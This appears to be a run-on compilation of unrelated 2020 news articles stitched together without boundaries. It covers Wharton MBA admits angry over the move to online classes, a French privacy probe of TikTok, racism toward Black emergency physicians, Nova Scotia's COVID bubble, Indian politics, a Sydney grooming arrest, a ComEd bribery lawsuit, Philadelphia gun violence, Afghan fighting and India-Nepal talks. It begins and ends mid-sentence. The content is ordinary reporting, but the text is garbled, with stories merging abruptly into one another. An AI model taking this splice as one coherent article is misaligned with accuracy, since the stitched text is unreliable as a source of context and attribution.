students have changed their stance on donating to Wharton, and 48% of students do not plan on donating at all. WHARTON HAS GONE THROUGH FOUR PHASES OF WHAT THE DELIVERY MODEL SHOULD BE The students main criticism: They were urged for months to move to Philadelphia to attend some in-person classes, but on July 31 the school announced an all-online format to start the fall by which time the deadline for deferrals had passed and it was too late for most to change their plans. Admits may still request a leave of absence through September 8, which is much the same as a deferral in practice; but those who spoke to P&Q say the difficulty they and others had in securing a deferral makes them skeptical that the school will be liberal in granting LOAs. They point to Harvard Business Schools blanket offer of deferrals for any admits who wish to wait until the fall of 2021 to enroll, contrasting HBSs approach with Whartons, and add that Whartons plans to enroll its largest-ever class the exact size of which has not yet been announced show that Whartons leadership planned to be entirely online all along. Wharton has gone through four phases of what the delivery model for their fall should be, one student tells P&Q. First it was going to be in-person like everywhere else. Then they made a big announcement that it would probably be hybrid, without providing many details, and then they rebranded to Remote Plus where they were going to offer very, very few in-person classes, most of them online, and everyone was annoyed about that. Then they switched it to completely virtual. So its like everyones been brought through this sequence of more and more and more and more virtual at every step of the way and every time after all the deadlines passed, they would come out with something new. Wharton has also accepted one of its largest classes in history this year and I think its interesting because other schools have chosen the opposite approach. HBS decided to accept one of its smallest classes in history so that they could host in-person classes with social distancing. As we all know, to host a class with social distancing, you have to be able to fit fewer people into a room. What Wharton did is, they accepted one of their largest classes in history. They still wont publicly release the numbers, but everyone knows its one of the largest classes because we can see the number of accepted students. Then they said our class size is too big to host in-person activities. So I think its interesting that they kind of created some of this problem for themselves. I know its kind of an inference, but the way I see it is, if they planned to admit so many people, it shows that they planned all along to do it mostly virtual because they always knew what the social distancing restraints were for the specific buildings that they host classes in on campus. IN PRACTICE, A DEFERRAL POLICY FOR INTERNATIONALS ONLY Whartons official policy is to grant deferrals on a case-by-case basis, as Blair Mannix, director of MBA admissions, reiterated in an April post on the school website. But in practice, say the MBA admits who spoke to P&Q, Whartons deferral policy is only for international students who could not get a visa to the U.S. a common problem in the Trump era. The deferral policy works much differently for domestic students, the admits say. While they allowed you to apply for a deferral, they made it very clear that they would only grant one in very extreme circumstances, one admit says. I think the specific example given in a video live stream was someone getting deployed to Afghanistan by the U.S. Army. So they wouldnt allow an open deferral the way HBS did just for people who think theres a lot of uncertainty with COVID, or their parents lost their jobs, or their situation has changed. None of that was considered legitimate enough to grant deferrals to domestic students. A lot of people were kind of held hostage with no other option. Yeah, Wharton will say that they had a different policy, but in practice, it was for international students only. I think all of us would have definitely considered it if we had been given an open deferral policy like HBS, which we were never given. All of us got into other schools, too. Them doing this at the last minute really prevents anyone from going anywhere else. One international admit who spoke to P&Q says she intends to be in Philadelphia this fall, barring visa problems. But she, too, was stunned by the schools announcement that in-person classes had been nixed. Definitely it was surprising for us to know, given we were told itll be hybrid when we made the enrollment versus deferral decision, she tells P&Q. But apparently the reason for going virtual is that 40% of all the Covid cases in the U.S. since the pandemic started have been reported only last month. While the classes will be virtual, they are including small in-person requirements like studio classes, lab requirements, and clinical trials to ensure internationals can still make it to the U.S. in fall. THE STUDENT PERCEPTION OF HER IS SOMEONE WHOS BEEN VERY UNINVOLVED SO FAR Whartons new dean, Erika James, is known as a crisis management expert she even co-authored a book on the subject. But Jamess handling of the biggest crisis to hit graduate business education in generations is being questioned by Wharton MBA admits and second-year MBA students who say she is at least partly to blame for poor communication and widespread misunderstanding between the administration, students, and admits. They also dont spare her predecessor, Geoffrey Garrett, who served as a lame duck dean through June. Of course, it could not have helped that there was a leadership transition in the middle of the pandemic, either. Erika James, our new dean, considers herself an expert in crisis management, one MBA admit says. To everyone in our class, the school keeps touting how shes an expert in crisis management and how shes the best person to lead Wharton forward through these unprecedented times so its really funny for everyone to see how little shes been involved. I mean, her first public address to the student body was the announcement the other day when she said everything was going virtual. Until then, we had not seen her face or heard from her besides one email. The student perception of her is someone whos very uninvolved so far, who is being touted as an expert in crisis management, but then clearly isnt. I dont want to blame it all on her because I think she inherited a lot of the problem, and a lot of the problems were talking about were in place before she came. I think a lot of the misleading came from the admissions director and from the vice deans who would constantly host these live streams. So its definitely not all the fault of the current dean, but yeah, she inherited a problem and I think its kind of funny that shes a crisis management expert and then cant really handle this crisis. Another admit, referring to Jamess video announcement of the schools plan for an all-online format, adds: One story that I dont get at all is that Erika James is getting so much praise when shes ignored students for the last six months. She went on a publicity tour. She calls herself a crisis management expert. She read a scripted message from a Word document that she typed out. It came off extremely broken and insincere. Tip For The Wharton Team-Based Discussion The Wharton School EMAILS FILLED WITH HOLLOW, CORPORATE PR LANGUAGE Wharton announced in April that, for the first time in years, it would not hike tuition this year. In that way the school avoided the ire that has been leveled against other top B-schools, such as the Stern School of Business at NYU, where students are currently protesting a planned tuition increase. Wharton also reduced the price of its Pre-Term, which is entirely online due to Covid, and which gets underway August 15. But for some MBA admits, that raises the question: If the school can reduce the cost of Pre-Term because it will be conducted remotely, why cant they reduce tuition? Even with no tuition hike this year, Wharton has the highest tuition of any business school in the world, at more than $80,000 per year. Our Pre-Term was going to be online due to COVID, and they actually reduced the price, one admit tells P&Q. I think normally its a couple of thousand dollars and its only $800 this year. A lot of people saw that as a precedent for a potential tuition reimbursement if the whole fall were to go virtual, but now theyre claiming that thats just for Pre-Term. Adds a second-year MBA student who believes, with many others, that the school should discount tuition due to the shift to online learning: Its incredibly unrealistic to say the MBA experience isnt massively diminished by what we are going through. For the school to not recognize that and pretend as though that is not the case feels pretty disingenuous. The school is reacting more like a business than a mission-driven academic institution. The flat-footedness, lack of desire to take care of students and the lack of empathy is what is really rubbing people the wrong way. If they cared about the students, they would say, we totally hear you. Well give you a fifth semester or well give you a semester of relief or make it really easy to give you a leave of absence. Instead, weve gotten nothing more than emails filled with hollow, corporate PR language. A TUITION RELIEF PETITION SIGNED BY 539 MBA STUDENTS IN THE CLASS OF 2021 A petition signed by 539 members of the MBA Class of 2021 was delivered to the administration on July 30 but, according to one student, has yet to receive a response. It formally calls for tuition and fees relief for the upcoming semester, commensurate with the diminished value of our MBA experience, as well as subsidized continuing education opportunities post-graduation, including an optional fifth semester on campus. The petition, says another admit, is as much a signal of student frustration and discontent. I think its more of this feeling that we want Penn to know that they cant do stuff like this to students without people speaking up about it or without there being negative media attention because if no one says anything when they mislead people, then they may feel comfortable doing it again in the spring, and doing it again next fall, the student adds. While the school has stated there will be no tuition reduction, it has established a financial relief fund, from which eligible students may receive stipends. Blair Mannix of Wharton: Wharton photo Blair Mannix, Whartons director of MBA admissions, spoke to P&Q in April about the uncertainty caused by the coronavirus pandemic. She said the school wanted to bring students to campus but would always act in students best interests. Ive been a member of the University of Pennsylvania community for almost 15 years, Mannix said, and I know in my soul that Penn would never and could never take the easy way out on this. I think Penn will figure out the best possible solution to get the most amount of students on campus for the most amount of time, to deliver the most content and curriculum in-person as humanly possible. That is who the University of Pennsylvania is, and I know right now we have top health experts working on this at the University of Pennsylvania Health System. And I do think the entire university ecosystem in the United States colleges and universities across the United States are moving toward this. Its in everybodys best interest to figure out creative ways to get students on campus. And I do believe well be a leader in that charge. But unfortunately where we are right now is, were going to have to ask our students to make some decisions with incomplete information and some unknowns on the table. I think a lot of universities are saying this: We want to support you. We want to make sure we can give you enough information to make those decisions with incomplete information. Were trying to make decisions with incomplete information and its a tough time for all of us, but thats what were going to ask our students to do. THE FYRE FESTIVAL OF BUSINESS SCHOOLS One of the Wharton admits who spoke to P&Q decided to accept another offer to join an elite MBA program, a decision she says was made easier by Whartons handling of coronavirus. I was honestly really shocked by the news about going fully online, she says. I think it definitely did influence my decision. I mean, I was leaning toward the other school, to be honest, just because for my interests the other school fits a little bit more. But I think seeing how they handled it, that definitely did push me over the edge, made me feel a lot more comfortable in my decision. It was just really shocking with how transparent they seemed, at least in the beginning the community has been great. Blair, whos the dean of admissions, has been so communicative. Shes been awesome. Shell respond to messages immediately, she will do a Q&A every single week. Shes been phenomenal. But I guess after it transitioned out of the admissions team and more to the actual full-time program faculty, and then this happened with no Q&A after, and dead silence from any faculty in the forums for the next two-plus hours, thats scary. People were posting like, Hey, I just landed in Philly, just got off of my 14-hour flight from, like, Sweden, to this news. Oh shit, like I just moved my life across the world and this happened? Its crazy. Another admit, who will enroll at Wharton this fall despite misgivings saying he has no choice after quitting his job and packing his belongings for a relocation to Philadelphia hopes that Wharton will commit to more transparency going forward. I dont expect for them to go back on their plans for this fall, but the question is, are they going to be more transparent when they plan for the spring? he says. Are they going to be more receptive to students? Are they going to include students in the conversation? And up until now, they really havent been transparent or communicated with anyone at all. To my knowledge, it is one of the only schools thats really, really misled people. I think other schools were more upfront about what they were doing and didnt wait till the last minute. I think other schools also had more liberal deferral policies and just less uncertainty overall. Maybe part of the issue is that Penn was too optimistic, but that in itself misled a lot of people. People in our class call it the Fyre Festival of business schools, the admit adds, referencing the disastrous 2017 luxury music festival. Theres a meme going around that that compares Wharton to Fyre Fest so thats kind of the mindset of a lot of students. DONT MISS: WHARTON R1 APPLICANTS CAN APPLY WITHOUT IMMEDIATE GMAT & GRE RESULTS or WHARTONS FALL SEMESTER FOR MBAs WILL NOW BE MOSTLY ONLINE The post The Fyre Festival Of B-Schools: Wharton MBA Admits Say School Is Failing Them appeared first on Poets&Quants. A man holding a phone walks past a sign of Chinese company ByteDance's app TikTok, known locally as Douyin, at the International Artificial Products Expo in Hangzhou, Zhejiang province, China October 18, 2019. France's data privacy watchdog CNIL said on Tuesday that it has opened a preliminary investigation into Chinese-owned video-sharing app TikTok after it received a complaint. TikTok, owned by China's ByteDance, is already under investigation over privacy concerns by U.S., European Union and Dutch authorities. "A complaint about TikTok was received in May. This complaint is now under investigation," a CNIL spokesman said, confirming a Bloomberg report. He declined to elaborate on the nature of the complaint or the identity of the plaintiff. Asked for comment, TikTok said: "Protecting TikTok users' privacy and safety is our top priority. We are aware of the investigation by the CNIL and are fully cooperating with them." In the United States, officials have said that TikTok poses a national security risk because of the personal data it handles. President Donald Trump has threatened to ban TikTok and has given ByteDance 45 days to negotiate a sale of TikTok's U.S. operations to Microsoft. In June, the European Data Protection Board (EDPB) said it would set up a task force to assess TikTok's activities across the bloc after a request from an EU lawmaker concerned about its data collection methods and security and privacy risks. In May, the Dutch privacy watchdog said it would investigate how TikTok handles the data of millions of young users. Dr. Phindile Chowa, 33, an assistant professor of emergency medicine at Emory University, was in her second year of an emergency-medicine residency when an attending in her department mistook her for an electrocardiogram technician, even though she had previously worked with him on rotations. She approached him to give a report on her patients, and he wordlessly put out his hand, expecting her to hand over an electrocardiogram scan. He never apologized, Dr. Chowa said. He did not think he did a single thing wrong that day. I was the only Black resident in my class. How could he not know who I am? The derogatory encounters continued from there. Colleagues have referred to her as sweetie or honey. She recalled one patient who asked repeatedly who she was over the course of a hospital visit, while quickly learning the name of her white male attending physician. When she was first admitted to her residency, at Harvard, a medical school classmate suggested that she had had an edge in the selection process because of her race. Such comments can create an environment of fear for Black women. Dr. Otugo recalled overhearing her Black female colleagues in Chicago discuss how they were going to style their hair for their clerkships. Many of them worried that if they wore their hair naturally, instead of straightening it or even changing it to lighter colors, their grades and performance evaluations from white physicians might suffer. Dr. Sheryl Heron, a Black professor of emergency medicine at Emory University School of Medicine, who has worked in the field for more than two decades, said microaggressions can exact a long-lasting toll. After the twelve-thousandth time, it starts to impede your ability to be successful, she said. You start to go into scenarios about your self-worth. Its a head trip. This comes on top of the stresses that are already pervasive in emergency departments. A 2018 survey of more than 1,500 early-career doctors in emergency medicine found that 76 percent were experiencing symptoms of burnout. Next month, like many parents, Raven Watts will be getting her daughter ready for school. And, like many parents, shes not sure what her seven-year-old will face once she gets there. She knows that once Lucy gets to school in Dartmouth, N.S., shell spend her day indoors, in classrooms with 20 to 25 classmates for whom, critics say, proper social distancing will be impossible. Those are facts Watts has come to terms with. What shes not ready for is the possibility that as Lucy goes back to school, there may be fertile ground for a slew of new coronavirus cases if the provincial government opens up Nova Scotia to visitors from outside the Atlantic bubble. Im pretty sure my blood pressure would be through the roof, Watts said. Quite honestly, the idea of the Atlantic bubble being open and me sending her to school is really terrifying. Its a concern she shares with more than 130 other parents with children in the Nova Scotia school system who are part of Parents for a Pandemic Education Plan. That group responded to the provinces education plan last month, saying it was encouraged but deeply concerned about the idea of opening Nova Scotia to provinces outside the Atlantic bubble. Eliminating the existing quarantine restrictions for those who arrive from other provinces, when the number of COVID-19 cases are rising quickly in Quebec, Ontario and Alberta, is not safe, it said in a statement. Last month, a few days after announcing the education plan, Nova Scotia Premier Stephen McNeil made what appeared to be a surprising announcement. Despite the province having gone, at that point, two weeks without a new case of COVID-19, McNeil issued a mandatory mask order for all indoor public spaces, beginning July 31. Why would a province with so few coronavirus cases, in a region with the lowest infection rate in the country, adopt such measures? For McNeil, who has since announced he plans to retire from politics, the answer appears to be short-term pain for long-term gain. The gamble hes eyeing is one that every provincial leader will have to face eventually: whether to sacrifice some of the gains in fighting the coronavirus for the sake of boosting the economy. Since the beginning of July, the four Atlantic Provinces have created a bubble, wherein residents can travel freely within Atlantic Canada without having to self-isolate. Any visitors from outside the bubble are required to self-isolate for 14 days. Currently, there are no active cases of COVID-19 in Nova Scotia. McNeil may hope that getting Nova Scotians used to the idea of wearing masks indoors will mitigate an expected spike in coronavirus cases when he allows the rest of Canada to visit. And with only a handful of weeks left in the summer, hed undoubtedly like to open those doors sooner rather than later, to take advantage of what remains of the provinces peak tourism window. Like most other provinces, Nova Scotia has been hemorrhaging money since the beginning of the pandemic. A fiscal update released at the end of July projected the province will be $853 million in the red for this year. Thats a far cry from the $55-million surplus the province was expecting to run, pre-COVID. What were looking at is how do we open up to the rest of Canada, said McNeil on July 24, when he announced the mandatory mask policy. We cannot continue to keep ourselves locked down. We need to begin to open up our economy and begin to start rebuilding the economic future and the economic health of our province as we continue to protect the public health of Nova Scotians. A large part of that economic boost could come from tourism. While creating the Atlantic bubble has helped, a far greater portion of Nova Scotias Canadian tourism income typically comes from outside the Atlantic Provinces. In 2019, visitors from P.E.I., Newfoundland and New Brunswick made up about 25 per cent of tourism revenues, spending $400 million in the province. Over the same period, visitors from outside Atlantic Canada made up 50 per cent of tourism revenues, spending $790 million. For Raven Watts and parents like her, however, opening up the province at around the same time that children are navigating suddenly unfamiliar school surroundings is one unknown too many. We talk about a second wave being inevitable, but inviting that in when our kids are the most vulnerable because theyre not going to be able to follow basic public health guidelines it just seems irresponsible and such a pivot from how Nova Scotia has dealt with the pandemic thus far, she said. For Watts, ideally the province would wait until all the schools in the country have been open a month or so, then observe the case counts from other provinces before allowing outsiders into Nova Scotia. Although he has been adamant about the necessity, Premier McNeil has not set a timeline for opening up. And he has said repeatedly that he will use public health as the yardstick for doing so. The premiers of the other three Atlantic Provinces seem to be adopting a less urgent pace. As it stands now, any visitor to Nova Scotia who goes through the self-isolation process is free to travel throughout Atlantic Canada. If Nova Scotia tosses out the self-isolation requirement before the other three provinces are ready to do so, that will almost certainly strain the bubble concept maybe even enough to pop the bubble. Theres a lot of pressure to open up across the country, said New Brunswick Premier Blaine Higgs at a July 30 briefing. And were not there yet. And my colleagues, certainly in P.E.I. and in Newfoundland, are in the same position. McNeils decision to make mask-wearing mandatory is reasonable and provides a relatively easy level of protection, said Susan Kirkland, head of the Department of Community Health and Epidemiology at Dalhousie University in Halifax, even if the idea of opening the province doesnt thrill her. I understand that theres reasons for doing this as an epidemiologist, Id keep our bubble as long as I could, because I think it gives us a layer of protection. And weve demonstrated that we can make it work, said Kirkland, whos also a member of the federal COVID-19 Immunity Task Force. But she acknowledges that provinces cant remain in their own bubbles forever. Opening up to the rest of Canada will certainly expose Nova Scotians to a higher level of risk, she said. As of Aug. 10, Ontario had 33 new cases of COVID-19 and a cumulative case count of 40,194. Nova Scotia had zero active cases and a cumulative case count of 1,017. With more cases potentially on the way, mask wearing is one thing, but Kirkland said testing and contact tracing are even more essential. And the provinces shortcomings in those departments are worrisome to her. We absolutely have to be able to do an adequate amount of testing not just to symptomatic people, but of asymptomatic people as well, she said. We have the capacity to test I think, 1,500 or 1,600 people a day, but were nowhere near those numbers. Nova Scotia has averaged 372 tests daily for the last seven days. (Also) its a very resource-intensive thing to do to track peoples contacts. And its necessary to do it in a timely fashion. Im a little bit worried that, should we start to all of a sudden see a large number of increases in cases, I think that the capacity would be reached very quickly. For Watts, whose school supplies for her daughter this year will include a pack of face masks and hand sanitizer, that limited capacity is troubling. It just feels really risky at a time when our kids need us to be more cautious than ever. Correction - Aug. 12, 2020: As of Aug. 10, there were 33 new cases of COVID-19 in Ontario. An earlier version of this aritcle mistakenly cited that figure as the number of active cases in the province. Read more about: Sachin Pilot said on Tuesday there is no place for malice or personal enmity in politics and that he respects his former boss Rajasthan chief minister Ashok Gehlot, who had called him nikamma and accused him of conspiring with the Bharatiya Janata Paty (BJP) to topple his government. Pilots comments came a day after the patch-up following his revolt against Gehlot in July. He said while speaking to reporters Congress leaders Rahul Gandhi and Priyanka Gandhi patiently heard the grievances he and other legislators had and that he was assured that a road map will be chalked out to solve them. The 42-year-old leader also spoke about the comments made by his former boss, Gehlot. During the turf war, Gehlot had admitted in an interview that he has not been on talking terms with his former Number 2 for the last 18 months. He had also called Pilot nikamma (worthless) and nakaara (good for nothing). Watch: Sachin Pilots response to Ashok Gehlots nikamma jibe I have imbibed certain values in my life from my family. No matter how much I oppose anyone, even if it were my bitter enemy, I have never used such language. Ashok Gehlot ji is elder to me and I have respected him personally but I have the right to raise my concerns over work-related and governance issues if see some discrepancy, Pilot said. I was hurt but dont want to respond to it. I think there should be dialogue, decency and a Lakshman Rekha in public discourse and I havent crossed that Lakshman Rekha in the 20 years of my poltical career, he said. All want to say is that the truth has come out after the kind of allegations that were levelled. Pilots rebellion ended after his meeting with Rahul Gandhi in New Delhi on Monday, putting an end to a month-long uncertainty involving dramatic legal and political flashpoints in Rajasthan. ...Shri Sachin Pilot has committed to working in the interest of the Congress party and the Congress government in Rajasthan, the statement issued by KC Venugopal, Congress general secretary in charge of the organisation, said. The Congress had removed Pilot as the deputy chief minister and state Congress president on July 14 and two of his supporters were suspended from the party. Gehlot alleged that the BJP was trying to dislodge his government and his camp also said the BJP was helping Pilot. While the BJP repeatedly blamed the Congresss internal rift for the Rajasthan crisis, Pilot said he would not join the BJP. A Sydney man is accused of grooming a 13-year-old girl online before repeatedly sexually assaulting her. Earlier this month, police received reports that a 36-year-old man from Mount Colah in Sydney's north had met the girl for multiple sexual encounters after connecting with her through social media. Following extensive inquiries, detectives from the State Crime Command's Child Abuse and Sex Crimes Squad, stopped a vehicle in the Hornsby CBD and arrested a man on Monday afternoon. A Sydney man is accused of grooming a 13-year-old girl online before repeatedly sexually assaulting her (file picture) During the arrest, a mobile phone in the man's possession was seized by detectives. He was taken to Hornsby Police Station and charged with three counts of groom child under 14 years for unlawful sexual activity, three counts of intentionally sexually touch child (between 10 and 14 years), two counts of possess child abuse material, have sexual intercourse with child (between 10 and 14 years), meet child under 14 groomed for sexual activity, use carriage service to send indecent material to person under 16 and administer/attempt administer prohibited drug to another. Police will allege in court that the man groomed the girl through social media before sexually abusing her on multiple occasions. He was refused bail to appear at Hornsby Local Court on Tuesday. Child Abuse and Sex Crimes Squad Commander, Detective Superintendent John Kerlatec, is urging parents to have conversations with their children about the risks of connecting online with people they don't know. 'Social media is wonderful tool to stay connected with friends and loved ones, but the platforms also provide opportunities for those not known to us to initiate communication - and this includes strangers talking to our children,' Det Supt Kerlatec said. 'It is so important that we remind children, that meeting with people they have only communicated with in an online environment, puts them at extreme risk. 'We know the online environment is used by sexual predators to target children, so it is imperative that all young people know what to do if they are exposed to explicit or inappropriate conversations,' he said. SPRINGFIELD A group of Commonwealth Edison ratepayers asked a federal judge Monday to force the utility company, Illinois House Speaker Michael Madigan and others to pay at least $450 million to be split among all those affected by an alleged extortion scandal. The number of affected ratepayers could rise to more than 3.8 million, according to a lawsuit filed by attorneys representing six residents that all resided in the Chicagoland area at some point in the last decade. In an agreement with the U.S. government to avoid prosecution, ComEd officials in July acknowledged they funneled money through contractors to colleagues and friends of Madigan. Those bribes which total more than $1.3 million, according to a federal lawsuit filed Monday were made from 2011 through 2019 in an attempt to influence the longtime House gatekeeper to pass legislation favorable to the utility and kill other bills that would negatively impact the company. That racketeering scheme generated more than $150 million in profits for ComEd, according to the document all of which is money paid by customers in service charge hikes and fees implemented by laws for which ComEd and its parent company, Exelon Corporation, lobbied in support. ComEd distributes electricity to 70% of Illinoisans, according to the lawsuit, making the company the largest utility in the state. Exelon, ComEd, Madigan and various other officials participated in an operation designed to enrich themselves while defrauding consumers, the lawsuit alleges. That would be a violation of the Racketeer Influenced and Corrupt Organization Act, used by the federal government to prosecute and dismantle organized crime groups. If a judge in the Eastern Division of Illinois Northern District agrees, ComEd ratepayers could be compensated the $150 million the utility earned in profit threefold, as well as attorneys fees. The Illinoisans who filed the case also requested a judge bar Madigan from being involved in any way with legislation affecting electricity in the state. They also want a judge to force him to resign as chairman of the Democratic Party of Illinois in order to prevent him from continuing to run the state party in a corrupt manner. He has held that position since 1998. Lawsuit charges ComEd with consumer fraud A lawsuit filed against Commonwealth Edison seeks to recover potentially hundreds of millions of dollars for consumers who were charged rates under legislation that the company has admitted was aided by a bribery scheme involving Michael Madigan. ComEd understood that as Speaker of the House of Representatives, Madigan was able to exercise control over what measures were called for a vote in the House of Representatives and had substantial influence and control over fellow lawmakers concerning legislation, including legislation that affected ComEd, according to the lawsuit. A spokesperson for the speaker did not respond to a request for comment. One of the laws named in the court document was the Energy Infrastructure and Modernization Act, passed in 2011. It changed how utility companies could raise rates. Previously, ComEd would have to present proposed electricity delivery fees to the Illinois Commerce Commission, which would then conduct hearings comparable to judicial proceedings in which ComEd had to prove both the reasonableness and justness of its proposed rates, according to a court document. This system was used for almost a century. Once the act became law, utility companies could avoid that process and use a formula dictated by statute that spits out automatic rates annually, according to the filing. This authority expires at the end of 2022 unless the General Assembly renews it before then. Due to the change, electricity rates ComEd charges customers jumped by 35% over the past nine years, the group argued in their lawsuit. Illinois regulators grill ComEd execs over fraud admission Top executives of utility giant Commonwealth Edison faced tough questions from state regulators Wednesday as they publicly apologized for the lobbying scandal that is forcing the company to pay a $200 million criminal fine. Those costs increased another 4% with the implementation of zero emission credit fees. ComEd and Exelon lobbied for the passage of the Future Energy Jobs Act in 2016, which included the charge, because it provided massive subsidies to the two nuclear power plants it owns in the Quad Cities and Clinton. The lawsuit alleges that in exchange for his help passing those legislative measures, Madigan wanted ghost-payroll jobs for his allies. At least 15 such associates were paid by ComEd through other contractors for jobs for which they did little to no work. These payments were also intended to influence and reward Madigan in connection with the advancement and passage of legislation favorable to ComEd in the Illinois General Assembly, according to a court document, and were funneled through other companies in part to assist ComEd in denying responsibility for employment oversight of Madigans associates. Capitol News Illinois is a nonprofit, nonpartisan news service covering state government and distributed to more than 400 newspapers statewide. It is funded primarily by the Illinois Press Foundation and the Robert R. McCormick Foundation. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A video game controller and crime tape sits on a porch on the 200 block of N. Simpson Street in Philadelphia, Pa. on August 2, 2020. The items were near the scene of a shooting on Saturday. A 7-year-old child playing on his porch was caught in the crossfire. Read more Philadelphia is bleeding. Over the last weekend, more than 25 people were shot in Philadelphia including two 11-year-olds. Nearly 1,150 people have been shot in Philadelphia this year, a 36% increase compared with this far along in 2019. Among the victims are more than 100 children. Homicides and shootings have been increasing since 2015, and the city has struggled to curb the trend. Millions spent for community groups and the Community Crisis Intervention Program that deploys violence interrupters, alongside more than $700 million a year in the Police Department budget, has not stopped the bleeding. The latest effort, Group Violence Intervention (GVI), launched in early August. In planning since last summer, GVI is a rebrand of the Focused Deterrence model that has been credited with significant drops in gun violence including the Boston Miracle of the 90s and a 35% reduction in gun violence in South Philadelphia in 2013-14. The approach is based on two underlying assumptions: that the majority of gun violence is driven by a small group of individuals who are connected to one another, and that there is no legal consequence to the majority of shootings. Both of these are true in Philadelphia. A Philadelphia Police Department analysis found that 80% of shootings inside crime hot spots are committed by 2% of known offenders. In addition, police data show that in 2019 only 1 in 5 nonfatal shootings led to an arrest. A small group of some of the most vulnerable people in Philadelphia are engaging in violence with an assumption of impunity, while children are caught in the cross fire. To change the group dynamics, GVI reaches out to members of groups engaged in violence and informs them that the shooting must stop. If the shooting doesnt stop, the system will find legal levers to pull against them, for example closer monitoring for probation violations. To help the individuals who choose to transition out of violence, GVI offers social services. The assistance can be in job training or GED classes, but also smaller forms of support like buying groceries and diapers. READ MORE: Important lessons for Philadelphia from Chicagos three-year decline in gun violence | Editorial The launch of GVI was delayed for months due to COVID-19. And while the pandemic did make some elements of the effort logistically more difficult traditionally the stop the shooting message is shared to multiple high-risk individuals in a group meeting other elements of the program are still not settled for unexplained reasons. For example, according to the Office of Violence Prevention, even though the first contacts with individuals have already been made this month, a budget for the program has yet to be finalized. That means that while OVP says $500,000 of the programs total funding will go toward social services, what exactly that pays for is unclear. Similarly, the city is still finalizing a contract with an independent evaluator. GVI can get unwieldy and turn abusive very quickly. In 2013 and 2014, Philadelphia experimented with GVI, then called Focused Deterrence, in South Philadelphia. The program was criticized for casting a wide net, deploying aggressive methods that law enforcement do not traditionally use (such as disconnecting service for utility theft), while lacking any real offer of social services. In a virtual town hall hosted by Councilmember Jamie Gauthier on Aug. 3, constituents of Philadelphias 3rd Councilmanic District in West Philly expressed concerns about how individuals would be identified as involved in gun violence, what kind of surveillance they would be subject to, and how someone can be removed from the list. READ MORE: Im sick of teddy bear memorials: Philly officials search for reasons, solutions to the spike in shootings Because of these valid concerns, one key to GVIs success will be public accountability. While respecting both privacy of individuals and integrity of ongoing investigations, the city should provide ongoing data on how many people were approached, statistics on demographics and past involvement in gun violence, how many agreed to utilize services and which kind, and what types of enforcement actions were directly related to GVI. This kind of public information will also contribute to the underlying premise of GVI by spreading news both on opportunity and consequences. In addition, to ensure that GVI continuously focuses on those most at risk, and that sanctions are doled out justly rather than as collective punishment, the Police Advisory Commission should be involved every step of the way. In other cities that deployed this model, shootings returned when the program ended. Group Violence Intervention, done carefully, is a much-needed Band-Aid. Continued investment is the long-term treatment communities affected by gun violence need and deserve. The manager, Mr Bill Keown, about 50, was trying to unlock a safe for three bandits in the Moreland West branch of the Commonwealth Bank when he was hit from behind. Bandits pistol-whipped a bank manager and fired a shot at a security camera in one of three armed bank holdups which netted about $33,000 in Melbourne yesterday. The bandit who escaped with $5112 in a raid on the Queen Street branch of the National Bank. Credit:Victoria Police First published in The Age on August 13, 1977 As the bandits were leaving the bank in Melville Road with about $22,000 one fire a shotgun blast at the camera but missed. Loading In another raid, bank union chief Mr Ray Willshire learned firsthand what it feels like to look down the barrel of a shotgun. Mr Wiltshire, manager of the Glenroy branch of the Bank of NSW and Victorian division president of the Australian Bank Officers Association, was bailed up by two bandits who burst into his bank at 2 pm. Mr Wiltshire, who for several months has pressed for increased security measures in Victorian banks, said: It leaves you with a sickening feeling in your stomach. This video shows you how to multiply any two numbers by drawing lines. It's known as the Japanese multiplication method. The University of Waterloo Faculty of Mathematics published this PDF that describes the Japanese multiplication method along with the lattice multiplication method, which dates back to the 13th century. Image: YouTube Source: Xinhua| 2020-08-12 00:16:52|Editor: huaxia Video Player Close KABUL, Aug. 11 (Xinhua) -- At least 44 fighters, with the majority of them Taliban militants, have been killed in the country over the past 24 hours since the conclusion of the three-day traditional grand assembly on Sunday that approved the release of 400 hardcore Taliban inmates, officials said Tuesday. In the latest waves of violent incidents, six pro-government militiamen and three Taliban insurgents were killed and seven others, including two militants, injured as a clash erupted in Pachiragam district of the eastern Nangarhar province on Tuesday, provincial government spokesman Attaullah Khogiani said. At least 23 insurgents have been killed in Muqar district of the eastern Ghazni and the neighboring Khost provinces over the past 24 hours, according to security officials. A dozen more Taliban militants have reportedly been killed in their own bomb blasts in Kunduz, Takhar and Logar provinces since Monday. Taliban militants have yet to make comment. Reports of violent incidents and fighting emanating just days after the completion of prisoners exchange between the Afghan government and the Taliban group as precondition for beginning peace talks between the two sides. The exchange of 5,000 Taliban prisoners with 1,000 Afghan troops is part of the U.S.-Taliban peace deal inked late February in Doha to facilitate the intra-Afghan dialogue, which is expected to pave the way for foreign forces to pull out from Afghanistan, ending the war in the country. After the grand assembly's approval on Sunday, Afghan President Mohammad Ashraf Ghani signed the order for the release of the last batch of Taliban inmates to remove the last obstacle for the initiation of peace talks. Completion of the prisoner exchange has raised the ray of hopes among Afghans towards achieving peace. However, an Afghan political analyst Khan Mohammad Daneshjo has slammed the hardcore prisoners, saying the Taliban outfit has achieved its goal by getting back their fighters but Afghans have yet to embrace peace as the "Taliban group is a warmongering" armed outfit. "If Taliban wants peace it should observe ceasefire to pave the way for intra-Afghan talks," a retired army brigadier Noorul Haq said. Enditem An India-Nepal body overseeing the implementation of development projects funded by New Delhi is set to meet in Kathmandu next week, the first high-level contact between the two sides since ties were hit by a border row that erupted last year. The joint oversight mechanism, which was launched in 2016 and reviews progress in bilateral projects, is scheduled to hold a meeting on August 17, people familiar with developments said on condition of anonymity. The meeting between Indian envoy Vinay Mohan Kwatra and Nepals foreign secretary Shanker Das Bairagi, who jointly chair the mechanism, is being seen by some quarters in Kathmandu as a positive development after the border row took relations to a new low. The mechanism will only focus on the implementation of India-funded projects in Nepal. However, it could help break the logjam in relations, said a person. A second person described the scheduled meeting of the mechanism as part of a regular interaction between India and Nepal. He added, This oversight mechanism was set up in 2016 to review ongoing bilateral economic and development projects and meets on a periodic basis. During its seventh meeting in July last year, the mechanism reviewed the implementation of projects such cross-border rail links, petroleum pipelines, roads, bridges, integrated border check posts, energy, irrigation, and post-earthquake reconstruction. The border row erupted late last year after Nepal objected to the inclusion of Kalapani region, which is claimed by Kathmandu, in a new map of the union territory of Ladakh that was issued by India. The row was exacerbated in May, when India opened a new road to Lipulekh region on the border with Tibet, as this area too is claimed by Nepal. Nepal responded by issuing a new map that showed Kalapani, Lipulekh and Limpiyadhura, which are all controlled by India, as 